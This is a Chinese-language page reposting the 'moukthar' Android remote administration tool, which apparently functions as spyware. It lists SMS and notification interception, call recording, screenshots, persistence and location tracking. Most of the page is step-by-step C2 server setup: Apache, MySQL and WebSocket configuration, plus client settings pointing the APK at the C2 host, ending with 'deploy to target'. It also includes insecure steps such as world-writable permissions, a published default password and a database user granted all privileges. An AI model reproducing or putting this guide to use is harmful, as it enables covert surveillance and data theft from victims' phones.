目录导航
moukthar 简介
Android 远程管理工具(Android remote administration tool)
特征
- 通知监听器
- 短信监听
- 电话录音
- 图像捕获和屏幕截图
- 持久控制
- 读取和写入联系人
- 列出已安装的应用程序
- 下载和上传文件
- 获取设备位置
安装方法
克隆存储库
git clone https://github.com/Tomiwa-Ot/moukthar.git
- 安装 php、composer、mysql、php-mysql 驱动程序、apache2 和 a2enmod
- 将服务器文件移至
/var/www/html/
并安装依赖项
mv moukthar/Server/* /var/www/html/
cd /var/www/html/c2-server
composer install
cd /var/www/html/web-ocket/
composer install
cd /var/www
chown -R www-data:www-data .
chmod -R 777 .
默认凭据是用户名:android
密码:the rastafarian in you
创建新的sql用户
CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
FLUSH PRIVILEGES;
- 在
c2-server/.env
和web-socket/.env
中设置数据库凭据 - 执行
database.sql
- 在 Linux 中启动 Web 套接字服务器或部署为服务
php Server/web-socket/App.php
# OR
sudo mv Server/websocket.service /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable websocket.service
sudo systemctl start websocket.service
调整/etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/c2-server
DirectoryIndex app.php
Options -Indexes
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
调整/etc/apache2/apache2.conf
Comment this section
#<Directory />
# Options FollowSymLinks
# AllowOverride None
# Require all denied
#</Directory>
Add this
<Directory /var/www/html/c2-server>
Options -Indexes
DirectoryIndex app.php
AllowOverride All
Require all granted
</Directory>
在 <script> 标记中设置 Web 套接字服务器地址c2-server/src/View/home.php
const ws = new WebSocket('ws://IP_ADDRESS:8080');
使用以下命令重新启动 apache
sudo a2enmod rewrite && sudo service apache2 restart
在客户端设置C2服务器和Web套接字服务器地址functionality/Utils.java
public static final String C2_SERVER = "http://localhost";
public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
使用 Android Studio 编译 APK 并部署到目标
截图
![moukthar Android远程管理工具](https://www.ddosi.org/wp-content/uploads/2024/03/c2.webp)
下载地址
项目地址
GitHub:
https://github.com/Tomiwa-Ot/moukthar
转载请注明出处及链接